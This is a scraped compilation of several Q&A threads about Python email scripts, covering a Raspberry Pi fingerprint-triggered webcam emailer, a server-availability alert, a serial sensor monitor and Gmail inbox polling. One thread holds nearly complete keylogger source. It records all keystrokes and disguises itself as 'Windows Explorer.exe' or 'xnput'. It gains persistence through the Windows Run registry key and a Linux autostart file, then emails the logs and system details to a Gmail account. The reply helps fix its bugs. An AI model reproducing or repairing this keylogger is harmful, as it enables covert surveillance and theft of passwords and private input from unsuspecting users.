I'm trying to take an image via webcam then send the image through gmail. That function suppose to happen if my fingerprint is known at the system. If it does it needs to execute the send email function. I added after the send email function to send 'HIGH' to a gpio. I don't think it suppose to interfere.
When there is a known template it is followed by an "else:" statement. then I put my "def find_newest_file(dir):" function. What am I doing wrong?
might note I'm terrible at programming. Thank you!
Pyfingerprint
import os
import glob
import time
import smtplib
import imghdr
from email.message import EmailMessage
import RPi.GPIO as GPIO
from time import sleep
GPIO.setmode(GPIO.BCM)
GPIO.setup(26, GPIO.OUT)
import hashlib
from pyfingerprint.pyfingerprint import PyFingerprint
GPIO.output(26, 0)
## Search for a finger
##
## Tries to initialize the sensor
try:
f = PyFingerprint('/dev/ttyUSB0', 57600, 0xFFFFFFFF, 0x00000000)
if ( f.verifyPassword() == False ):
raise ValueError('The given fingerprint sensor password is wrong!')
except Exception as e:
print('The fingerprint sensor could not be initialized!')
print('Exception message: ' + str(e))
exit(1)
## Gets some sensor information
print('Currently used templates: ' + str(f.getTemplateCount()) +'/'+ str(f.getStorageCapacity()))
## Tries to search the finger and calculate hash
try:
print('Waiting for finger...')
## Wait that finger is read
while ( f.readImage() == False ):
pass
## Converts read image to characteristics and stores it in charbuffer 1
f.convertImage(0x01)
## Searchs template
result = f.searchTemplate()
positionNumber = result[0]
accuracyScore = result[1]
if ( positionNumber == -1 ):
print('No match found!')
exit(0)
else:
print('Found template at position #' + str(positionNumber))
print('The accuracy score is: ' + str(accuracyScore))
def find_newest_file(dir):
os.system('fswebcam -r 1280x720 -S 3 --jpeg 90 --save /home/pi/Pictures/%H%M%S.jpg')
types = ['*.png', '*.jpg']
files = []
if not os.path.isdir(dir):
print(f'ERROR: {dir} does not exist. or it is not a valid folder')
exit()
for ext in types:
scan_path = os.path.abspath(os.path.join(dir, ext))
files.extend(glob.glob(scan_path))
if len(files) == 0:
print(f'ERROR: file not found while scanning folder: {dir} for: {types}')
exit()
newest = None
n_time = 0
for file in files:
# print(file)
c_time = os.path.getctime(file)
if c_time > n_time:
n_time = c_time
newest = file
if newest is None:
print(f'-----------\nUnexpected error: None was return while the list was not empty:\n{files}')
exit()
if os.path.exists(newest):
return newest # return as a list since this is what Yehonata expect
else:
print(f'ERROR: File {newest} not found')
exit()
# Yehontan Code
Sender_Email = "Sender#gmail.com"
Reciever_Email = "reciver#gmailcom"
Password = input('Enter your email account password: ')
newMessage = EmailMessage()
newMessage['Subject'] = "Check out the new logo"
newMessage['From'] = Sender_Email
newMessage['To'] = Reciever_Email
newMessage.set_content('Let me know what you think. Image attached!')
# Tomerl: Replace static name with seach function
files = [ find_newest_file('/home/pi/Pictures/') ]
for file in files:
with open(file, 'rb') as f:
image_data = f.read()
image_type = imghdr.what(f.name)
image_name = f.name
newMessage.add_attachment(image_data, maintype='image', subtype=image_type, filename=image_name)
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
smtp.login(Sender_Email, Password)
smtp.send_message(newMessage)
try:
for x in range(1):
GPIO.output(26, 1)
sleep(2.5)
GPIO.output(26, 0)
sleep(2.5)
except KeyboardInterrupt:
GPIO.cleanup()
GPIO.output(26, 0)
## Loads the found template to charbuffer 1
f.loadTemplate(positionNumber, 0x01)
## Downloads the characteristics of template loaded in charbuffer 1
characterics = str(f.downloadCharacteristics(0x01)).encode('utf-8')
## Hashes characteristics of template
print('SHA-2 hash of template: ' + hashlib.sha256(characterics).hexdigest())
except Exception as e:
print('Operation failed!')
print('Exception message: ' + str(e))
exit(1)
You need to define the function at the top of the program. You only need to call it after the else statement. Basically, put
def find_newest_file(dir):
os.system('fswebcam -r 1280x720 -S 3 --jpeg 90 --save /home/pi/Pictures/%H%M%S.jpg')
types = ['*.png', '*.jpg']
files = []
if not os.path.isdir(dir):
print(f'ERROR: {dir} does not exist. or it is not a valid folder')
exit()
at the top and when you want to use it do
find_newest_file(foo)
Good luck on your journey!
"This is my first coding question on stack so maybe not upto mark"
So I am trying to make a local keylogger that would store all keystrokes in a .txt file
and when the system reboots send the file to my email using smtp and again start the keylogger.
The code is as follows:
import pynput.keyboard
import smtplib
import os
import shutil
import subprocess
import sys
import stat
import platform
import getpass
import socket
import time
class Keylogger:
def __init__(self, email, password):
self.email = email
self.password = password
self.system_info = self.get_system_info()
def append_to_log(self, string):
self.log = self.log + string
file = open(r"C:\Program Files\explorer.txt", "wb")
file.write(self.log)
def check_internet(self):
ipaddress = socket.gethostbyname(socket.gethostname())
while ipaddress=="127.0.0.1":
time.sleep(10)
ipaddress = socket.gethostbyname(socket.gethostname())
self.report()
def get_system_info(self):
uname = platform.uname()
os = uname[0] + " " + uname[2] + " " + uname[3]
computer_name = uname[1]
user = getpass.getuser()
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
self.send_mail(self.log)
def send_mail(self, message):
message = "Subject: Alogger report\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(self.email, self.password)
server.sendmail(self.email, self.email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
keyboard_listener.join()
def become_persistent(self):
if sys.platform.startswith("win"):
self.become_persistent_on_windows()
elif sys.platform.startswith("linux"):
self.become_persistent_on_linux()
def become_persistent_on_windows(self):
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
if not os.path.exists(evil_file_location):
self.log = "* Keylogger started * "
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + evil_file_location + '"', shell=True)
def become_persistent_on_linux(self):
home_config_directory = os.path.expanduser('~') + "/.config/"
autostart_path = home_config_directory + "/autostart/"
autostart_file = autostart_path + "xinput.desktop"
if not os.path.isfile(autostart_file):
self.log = "** Keylogger started **"
try:
os.makedirs(autostart_path)
except OSError:
pass
destination_file = home_config_directory + "xnput"
shutil.copyfile(sys.executable, destination_file)
self.chmod_to_exec(destination_file)
with open(autostart_file, 'w') as out:
out.write("[Desktop Entry]\nType=Application\nX-GNOME-Autostart-enabled=true\n")
out.write("Name=Xinput\nExec=" + destination_file + "\n")
def chmod_to_exec(self, file):
os.chmod(file, os.stat(file).st_mode | stat.S_IEXEC)
#end of class
#starting Keylogger not included in class
if not os.path.exists(r"C:\Program Files\explorer.txt"):
Keylogger.become_persistent()
file = open(r"C:\Program Files\explorer.txt", "wb")
Keylogger.start()
elif os.path.exists(r"C:\Program Files\explorer.txt") and
os.stat(file_path).st_size
<= 0:
Keylogger.start()
else:
Keylogger.check_internet()
os.remove(r"C:\Program Files\explorer.txt")
Keylogger.start()
So i get the following errors:
Traceback (most recent call last):
File "C:/Users/MYPC/PycharmProjects/self_made_hack/venv/keylogger local.py", line
108, in <module>
Keylogger.become_persistent()
TypeError: become_persistent() missing 1 required positional argument: 'self'
This is my first advance project so many errors will be there.
so what are suggestions and solutions for this code
You're using the Keylogger class directly, but instead you should declare an instance of that class:
my_keylogger = Keylogger()
my_keylogger.become_persistent()
I have a script that alerts me by mail when a phrase changes on a web page. I tried many things, but I can't fix the isAvailable() function: the script says "not available" every time, whether or not I give it an available server. Have you any clues?
# CONFIG
TARGET_KIMSUFI_ID = "160sk1" # something like 160sk1
TARGET_DESCR = ""
EMAIL_FROM_ADDRS = ""
EMAIL_TO_ADRS = ""
EMAIL_SMTP_LOGIN = EMAIL_FROM_ADDRS
EMAIL_SMTP_PASSWD = ""
EMAIL_SMTP_SERVER = ""
# CODE
import urllib.request
import smtplib
import time
def isAvailable():
rawPageContent = urllib.request.urlopen("https://www.kimsufi.com/en/servers.xml").read()
rawPageContent = str(rawPageContent)
poz = rawPageContent.find(TARGET_KIMSUFI_ID)
row = rawPageContent[poz:]
poz = row.find("</tr>")
row = row[:poz]
searchText = "Currently being replenished"
poz = row.find(searchText)
return poz != -1
def sendEmailWithMessageAvailable():
msg = "From: KIMSUFI HUNTER <"+EMAIL_FROM_ADDRS+">\r\n"+\
"To: "+EMAIL_TO_ADRS+"\r\n"+\
"Subject: [KIMSUFI] "+TARGET_DESCR+" is now AVAILABLE!\r\n"+\
"\r\n"+\
"kimsufi-hunter.py has detected that "+TARGET_DESCR+" is now ["+time.ctime()+"] available!\r\n"+\
"https://www.kimsufi.com/en/\r\n"
server = smtplib.SMTP(EMAIL_SMTP_SERVER)
server.starttls()
server.login(EMAIL_SMTP_LOGIN,EMAIL_SMTP_PASSWD)
server.sendmail(EMAIL_FROM_ADDRS, EMAIL_TO_ADRS, msg)
server.quit()
while True:
if isAvailable():
print(time.ctime() + " -- KIMSUFI "+TARGET_DESCR+" not available")
nextSleep = 5 #5secs
else:
print(time.ctime() + " -- KIMSUFI "+TARGET_DESCR+" AVAILABLE!!! -- sleeping for 5 minutes")
sendEmailWithMessageAvailable()
nextSleep = 5*60 #5mins
time.sleep(nextSleep)
Your isAvailable() function returns True if the website is available, False otherwise. You should change the if statement to:
if not isAvailable():
...
I'm not an expert in programming so i googled a lot to get this script to work. It listens on the serial interface ans is searching for 3 values (temperature, humidity and battery level). If it finds one of zhem it saves it to a text file and checks if the value is above or under a certain level. I f this is the case it sends an e-mail to warn.
My problem is that it uses constatntly about 99% of cpu power...
Can you help me to limit the CPU usage to a minimum.
Thanks
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import serial
import time
import sys
import smtplib
from time import sleep
def mail(kind, how, value, unit):
fromaddr = 'sender#domain.com'
toaddrs = 'recipient#domain.com'
msg = "\r\n".join([
"From: sender",
"To: recipient",
"Subject: Warning",
"",
"The " + str(kind) + " is too " + str(how) + ". It is " + str(value) + str(unit)
])
username = 'user'
password = 'password'
server = smtplib.SMTP('server:port')
server.ehlo()
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
def main():
port = '/dev/ttyAMA0'
baud = 9600
ser = serial.Serial(port=port, baudrate=baud)
sleep(0.2)
while True:
while ser.inWaiting():
# read a single character
char = ser.read()
# check we have the start of a LLAP message
if char == 'a':
# start building the full llap message by adding the 'a' we have
llapMsg = 'a'
# read in the next 11 characters form the serial buffer
# into the llap message
llapMsg += ser.read(11)
if "TMPB" in llapMsg:
TMPB = llapMsg[7:]
with open("TMPB.txt", "w") as text_file:
text_file.write(TMPB)
if float(TMPB) >= 19:
mail("temperature", "high", TMPB, "°C")
elif float(TMPB) <= 15:
mail("temperature", "low", TMPB, "°C")
else:
pass
elif "HUMB" in llapMsg:
HUMB = llapMsg[7:]
with open("HUMB.txt", "w") as text_file:
text_file.write(HUMB)
if float(HUMB) >= 80:
mail("humidity", "high", HUMB, "%")
elif float(HUMB) <= 70:
mail("humidity", "low", HUMB, "%")
else:
pass
elif "BATT" in llapMsg:
BATT = llapMsg[7:11]
with open("BATT.txt", "w") as text_file:
text_file.write(BATT)
if float(BATT) < 1:
mail("battery level", "low", BATT, "V")
else:
pass
sleep(0.2)
if __name__ == "__main__":
main()
I solved the question myself.
The while ser.inWaiting(): loop was causing the heavy cpu load.
I removed it and corrected the indentation and it works great with a few % cpu load.
Thanks for your hints, it helped me solving the problem.
I am interested to trigger a certain action upon receiving an email from specific
address with specific subject. In order to be able to do so I need to implement
monitoring of my mailbox, checking every incoming mail (in particular, i use gmail).
what is the easiest way to do that?
Gmail provides the ability to connect over POP, which you can turn on in the gmail settings panel. Python can make connections over POP pretty easily:
import poplib
from email import parser
pop_conn = poplib.POP3_SSL('pop.gmail.com')
pop_conn.user('username')
pop_conn.pass_('password')
#Get messages from server:
messages = [pop_conn.retr(i) for i in range(1, len(pop_conn.list()[1]) + 1)]
# Concat message pieces:
messages = ["\n".join(mssg[1]) for mssg in messages]
#Parse message intom an email object:
messages = [parser.Parser().parsestr(mssg) for mssg in messages]
for message in messages:
print message['subject']
pop_conn.quit()
You would just need to run this script as a cron job. Not sure what platform you're on so YMMV as to how that's done.
Gmail provides an atom feed for new email messages. You should be able to monitor this by authenticating with py cURL (or some other net library) and pulling down the feed. Making a GET request for each new message should mark it as read, so you won't have to keep track of which emails you've read.
While not Python-specific, I've always loved procmail wherever I could install it...!
Just use as some of your action lines for conditions of your choice | pathtoyourscript (vertical bar AKA pipe followed by the script you want to execute in those cases) and your mail gets piped, under the conditions of your choice, to the script of your choice, for it to do whatever it wants -- hard to think of a more general approach to "trigger actions of your choice upon receipt of mails that meet your specific conditions!! Of course there are no limits to how many conditions you can check, how many action lines a single condition can trigger (just enclose all the action lines you want in { } braces), etc, etc.
People seem to be pumped up about Lamson:
https://github.com/zedshaw/lamson
It's an SMTP server written entirely in Python. I'm sure you could leverage that to do everything you need - just forward the gmail messages to that SMTP server and then do what you will.
However, I think it's probably easiest to do the ATOM feed recommendation above.
EDIT: Lamson has been abandoned
I found a pretty good snippet when I wanted to do this same thing (and the example uses gmail). Also check out the google search results on this.
I recently solved this problem by using procmail and python
Read the documentation for procmail. You can tell it to send all incoming email to a python script like this in a special procmail config file
:0:
| ./scripts/ppm_processor.py
Python has an "email" package available that can do anything you could possibly want to do with email. Read up on the following ones....
from email.generator import Generator
from email import Message
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.mime.multipart import MIMEMultipart
https://developers.google.com/gmail/gmail_inbox_feed
Says you have to have a corporate Gmail, but I have come to find that you can read Gmail free versions without issues. I use this code to get my blood pressure results I email or text to a gmail address.
from email.header import decode_header
from datetime import datetime
import os
import pandas as pd
import plotly.graph_objs as go
import plotly
now = datetime.now()
dt_string = now.strftime("%Y.%m.%d %H:%M:%S")
print("date_time:", dt_string)
email_account = '13123#gmail.com'
email_password = '131231231231231231312313F'
email_server = 'imap.gmail.com'
email_port = 993
accept_emails_from = {'j1231312#gmail.com', '1312312#chase.com', '13131231313131#msg.fi.google.com'}
verbose = True
def get_emails():
email_number = 0
local_csv_data = ''
t_date = None
t_date = None
t_systolic = None
t_diastolic = None
t_pulse = None
t_weight = None
try:
mail = imaplib.IMAP4_SSL(email_server)
email_code, email_auth_status = mail.login(email_account, email_password)
if verbose:
print('[DEBUG] email_code: ', email_code)
print('[DEBUG] email_auth_status: ', email_auth_status)
mail.list()
mail.select('inbox')
# (email_code, messages) = mail.search(None, 'ALL')
(email_code, messages) = mail.search(None, '(UNSEEN)') # only get unread emails to process.
subject = None
email_from = None
for email_id in messages[0].split():
email_number += 1
email_code, email_data = mail.fetch(email_id, '(RFC822)')
for response in email_data:
if isinstance(response, tuple): # we only want the tuple ,the bytes is just b .
msg = email.message_from_bytes(response[1])
content_type = msg.get_content_type()
subject, encoding = decode_header(msg["Subject"])[0]
subject = str(subject.replace("\r\n", ""))
if isinstance(subject, bytes):
subject = subject.decode(encoding)
email_from, encoding = decode_header(msg.get("From"))[0]
if isinstance(email_from, bytes):
email_from = email_from.decode(encoding)
if content_type == "text/plain":
body = msg.get_payload(decode=True).decode()
parse_data = body
else:
parse_data = subject
if '>' in email_from:
email_from = email_from.lower().split('<')[1].split('>')[0]
if email_from in accept_emails_from:
parse_data = parse_data.replace(',', ' ')
key = 0
for value in parse_data.split(' '):
if key == 0:
t_date = value
t_date = t_date.replace('-', '.')
if key == 1:
t_time = value
if ':' not in t_time:
numbers = list(t_time)
t_time = numbers[0] + numbers[1] + ':' + numbers[2] + numbers[3]
if key == 2:
t_systolic = value
if key == 3:
t_diastolic = value
if key == 4:
t_pulse = value
if key == 5:
t_weight = value
key += 1
t_eval = t_date + ' ' + t_time
if verbose:
print()
print('--------------------------------------------------------------------------------')
print('[DEBUG] t_eval:'.ljust(30), t_eval)
date_stamp = datetime.strptime(t_eval, '%Y.%m.%d %H:%M')
if verbose:
print('[DEBUG] date_stamp:'.ljust(30), date_stamp)
print('[DEBUG] t_systolic:'.ljust(30), t_systolic)
print('[DEBUG] t_diastolic:'.ljust(30), t_diastolic)
print('[DEBUG] t_pulse:'.ljust(30), t_pulse)
print('[DEBUG] t_weight:'.ljust(30), t_weight)
new_data = str(date_stamp) + ',' + \
t_systolic + ',' + \
t_diastolic + ',' + \
t_pulse + ',' + \
t_weight + '\n'
local_csv_data += new_data
except Exception as e:
traceback.print_exc()
print(str(e))
return False, email_number, local_csv_data
return True, email_number, local_csv_data
def update_csv(local_data):
""" updates csv and sorts it if there is changes made. """
uniq_rows = 0
if os.name == 'posix':
file_path = '/home/blood_pressure_results.txt'
elif os.name == 'nt':
file_path = '\\\\uncpath\\blood_pressure_results.txt'
else:
print('[ERROR] os not supported:'.ljust(30), os.name)
exit(911)
if verbose:
print('[DEBUG] file_path:'.ljust(30), file_path)
column_names = ['00DateTime', 'Systolic', 'Diastolic', 'Pulse', 'Weight']
if not os.path.exists(file_path):
with open(file_path, 'w') as file:
for col in column_names:
file.write(col + ',')
file.write('\n')
# append the new data to file.
with open(file_path, 'a+') as file:
file.write(local_data)
# sort the file.
df = pd.read_csv(file_path, usecols=column_names)
df_sorted = df.sort_values(by=["00DateTime"], ascending=True)
df_sorted.to_csv(file_path, index=False)
# remove duplicates.
file_contents = ''
with open(file_path, 'r') as file:
for row in file:
if row not in file_contents:
uniq_rows += 1
print('Adding: '.ljust(30), row, end='')
file_contents += row
else:
print('Duplicate:'.ljust(30), row, end='')
with open(file_path, 'w') as file:
file.write(file_contents)
return uniq_rows
# run the main code to get emails.
status, emails, my_data = get_emails()
print('status:'.ljust(30), status)
print('emails:'.ljust(30), emails)
# if the new emails received then sort the files.
csv_rows = update_csv(my_data)
print('csv_rows:'.ljust(30), csv_rows)
exit(0)